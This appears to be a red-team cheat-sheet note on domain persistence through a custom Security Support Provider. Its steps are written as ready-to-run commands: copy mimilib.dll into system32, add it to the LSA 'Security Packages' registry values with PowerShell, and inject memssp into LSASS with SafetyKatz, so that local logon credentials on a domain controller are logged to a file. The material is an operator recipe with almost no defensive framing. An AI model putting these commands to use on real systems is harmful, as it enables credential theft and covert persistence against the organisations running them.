# custom-ssp

A Security Support Provider (SSP) is a DLL which provides ways for an application to obtain an authenticated connection

## Binaries

> \[!INFO] Remember to follow the Binaries methodology

### SafetyKatz

**Copy `mimilib.dll` to system32:**

```batchfile
copy mimilib.dll %systemroot%\system32
```

**Add `mimilib` to registry:**

```
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages' 
$packages += "mimilib" 
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ - Name 'Security Packages' -Value $packages 
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages
```

**Inject into LSASS:**

```batchfile
SafetyKatz.exe '"misc::memssp"'
```

> \[!INFO]  To take effect the computer must reboot!
>
> All local logons will be saved to `C:\Windows\system32\mimilsa.log`.

All local logons on the DC are logged to C:\Windows\system32\mimilsa.log

![](https://github.com/marcgoam/M4RCG04M-blog/blob/main/notes/red-team/domain-persistence/Pasted%20image%2020251027120150.png)